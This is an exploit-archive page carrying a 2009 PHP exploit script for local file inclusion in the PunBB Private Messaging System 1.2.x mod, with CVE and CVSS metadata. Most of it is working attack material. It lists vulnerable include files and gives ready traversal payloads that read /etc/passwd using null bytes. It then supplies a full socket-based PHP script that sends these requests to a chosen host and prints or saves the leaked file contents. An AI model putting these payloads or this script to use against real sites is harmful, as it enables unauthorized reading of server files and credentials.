Advertisement






PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit

CVE Category Price Severity
CWE-200 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2009-03-03
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.33785 0.78904

CVSS vector description

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2009030070

Below is a copy:

<?php

error_reporting(0);
ini_set("default_socket_timeout",5);




/*
   
   
    PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit
    -----------------------------------------------------------
    by athos - staker[at]hotmail[dot]it
    download mod http://www.punres.org/files.php?pid=52
    download cms http://punbb.org
    -----------------------------------------------------------
    register_globals = 1
    magic_quotes_gpc = 1
    
    Directory (files/include/pms)

    functions_navlinks.php?pun_user[language]=../../../../../etc/passwd
    profile_send.php?pun_user[language]=../../../../../etc/passwd
    viewtopic_PM-link.php?pun_user[language]=../../../../../etc/passwd

    ../../etc/passwd and nullbyte
    


    File (files/include/pms/functions_navlinks.php)
    
    1. <?php
    2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
    
    $pun_user['language'] isn't declared :D you can include any file
    
    functions_navlinks.php?pun_user[language]=../../../etc/passwd%00
    -------------------------------------------------------------------
    
    File (files/include/pms/header_new_messages.php)
    
    1. <?php
    2. if(!$pun_user['is_guest'] && $pun_user['g_pm'] == 1 && $pun_config['o_pms_enabled'] ){
    3. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
    
    $pun_user['g_pm'] isn't declared
    $pun_config['o_pms_enabled'] isn't declared
    
    header_new_messages.php?pun_user[g_pm]=1&pun_config[o_pms_enabled]=x&pun_user[language]=../etc/passd%00
    
    
    -------------------------------------------------------------------
    
    File (files/include/pms/profile_send.php))
    
    1. <?php
    2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
    
    $pun_user['language'] isn't declared
    
    profile_send.php?pun_user[language]=../../../../etc/passwd%00
    
    -------------------------------------------------------------------
    
    File (files/include/pms/viewtopic_PM-link.php)
    
    1. <?php
    2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
    
    $pun_user['language'] isn't declared
    
    viewtopic_PM-link.php?pun_user[language]=../../../../etc/passwd%00
    
    -------------------------------------------------------------------
    
    
    Usage:  php [punbb.php] [host/path] [mode]
            php [punbb.php] [host/path] [save]
            php [punbb.php] [host/path] [NULL]
           
   Example:
            php punbb.php localhost/punbb save
            php punbb.php localhost/punbb
          
                   
    NOTE: Don't add me on MSN Messenger

    
    
*/    

$exploit = new Exploit;
$domain = $argv[1];
$mymode = $argv[2];

$exploit->starting();
$exploit->is_vulnerable($domain);
$exploit->exploiting($domain,$mymode);

 

class Exploit
{
  
  function http_request($host,$data) 
  {   
   
    if(!$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP)) 
    {
       echo "socket_create() error!\r\n";
       exit;
    }
    if(!socket_set_option($socket,SOL_SOCKET,SO_BROADCAST,1))
    { 
      echo "socket_set_option() error!\r\n";
      exit;
    }
    
    if(!socket_connect($socket,$host,80))
    {
      echo "socket_connect() error!\r\n";
      exit;
    }
    if(!socket_write($socket,$data,strlen($data)))
    {
      echo "socket_write() errror!\r\n";
      exit;
    }
  
    while($get = socket_read($socket,1024,PHP_NORMAL_READ)) 
    { 
      $content .= $get; 
    }

    socket_close($socket);
  
   
   $array = array(
                 'HTTP/1.1 404 Not Found',
                 'HTTP/1.1 300 Multiple Choices',
                 'HTTP/1.1 301 Moved Permanently',
                 'HTTP/1.1 302 Found',
                 'HTTP/1.1 304 Not Modified',
                 'HTTP/1.1 400 Bad Request',
                 'HTTP/1.1 401 Unauthorized',
                 'HTTP/1.1 402 Payment Required',
                 'HTTP/1.1 403 Forbidden',
                 'HTTP/1.1 405 Method Not Allowed',
                 'HTTP/1.1 406 Not Acceptable',
                 'HTTP/1.1 407 Proxy Authentication Required',
                 'HTTP/1.1 408 Request Timeout',
                 'HTTP/1.1 409 Conflict',
                 'HTTP/1.1 410 Gone',
                 'HTTP/1.1 411 Length Required',
                 'HTTP/1.1 412 Precondition Failed',
                 'HTTP/1.1 413 Request Entity Too Large',
                 'HTTP/1.1 414 Request-URI Too Long',
                 'HTTP/1.1 415 Unsupported Media Type',
                 'HTTP/1.1 416 Request Range Not Satisfiable',
                 'HTTP/1.1 417 Expectation Failed',
                 'HTTP/1.1 Retry With',
                );
                
               
    for($i=0;$i<=count($array);$i++)
   
    if(eregi($array[$i],$content)) 
    {
      return ("$array[$i]\r\n");
      break;
    } 
    else 
    {
      return ("$content\r\n");
      break;
    }
  }
     
  
  function is_vulnerable($host)
  {
    $host = explode('/',$host);
    
    $header .= "GET /$host[1]/profile_send.php?pun_user[language]=%27 HTTP/1.1\r\n";
    $header .= "Host: $host[0]\r\n";
    $header .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
    $header .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $header .= "Accept-Language: en-us,en;q=0.5\r\n";
    $header .= "Accept-Encoding: gzip,deflate\r\n";
    $header .= "Connection: close\r\n\r\n";
    
    if(stristr($this->http_request($host[0],$header),"\\'"))
    {  
      echo "[+] Magic Quotes GPC/Register Globals On!\n";
      echo "[+] Exploit Failed!\n";
      exit;
    }
    else
    {
      return false;
    }
  }
  
  function starting()
  {
   
    global $argv;
    
    if(preg_match('/http://(.+?)$/',$argv[1]) or empty($argv[1]))
    {
    
      echo "[+] PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit\r\n";
      echo "[+] by athos - staker[at]hotmail[dot]it\r\n";
      echo "    -----------------------------------------------------------\r\n";
      echo "[+] Usage: php $argv[0] [host/path] [mode]\r\n";
      echo "[+] Usage: php $argv[0] [host/path] [save]\r\n";
      echo "[+] Usage: php $argv[0] [host/path]        \r\n";
      exit;
    
    }
  }
  
  function exploiting($host,$mode)
  {
    
    $host = explode('/',$host);
    $i = 0;
    
    
    echo "[+] Local File (ex: ../../etc/passwd%00)\r\n";
    echo "[+] Local File: ";
    
    $file = stripslashes(trim(fgets(STDIN)));
    
    if(empty($file)) die("you fail");
    
    
    $array = array (
                    "functions_navlinks.php?pun_user[language]=$file",
                    "profile_send.php?pun_user[language]=$file",
                    "viewtopic_PM-link.php?pun_user[language]=$file",
                    "header_new_messages.php?pun_user[g_pm]=1&pun_config[o_pms_enabled]=x&pun_user[language]=$file",
                  ); 

    $write .= "GET /$host[1]/files/include/pms/$array[$i] HTTP/1.1\r\n";
    $write .= "Host: $host[0]\r\n";
    $write .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
    $write .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $write .= "Accept-Language: en-us,en;q=0.5\r\n";
    $write .= "Accept-Encoding: gzip,deflate\r\n";
    $write .= "Connection: close\r\n\r\n";
    

   
    
    if(stristr($this->http_request($host[0],$write),'No such file or directory in'))
    {
      $i++;
    }
    else
    {
      if($mode == "save") 
      {
   
        $rand = rand(0,99999);
        fclose(fwrite(fopen(getcwd().'/'.$rand.'.txt',"a+"),$this->http_request($host[0],$write)));
        
        echo "[+] File $rand Saved Successfully!\r\n";
        echo "[+] Exploit Terminated!\r\n";
        exit;
      
      }
      else
      {
        echo $this->http_request($host[0],$write);
        exit;
      }
    }
  }
}



Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum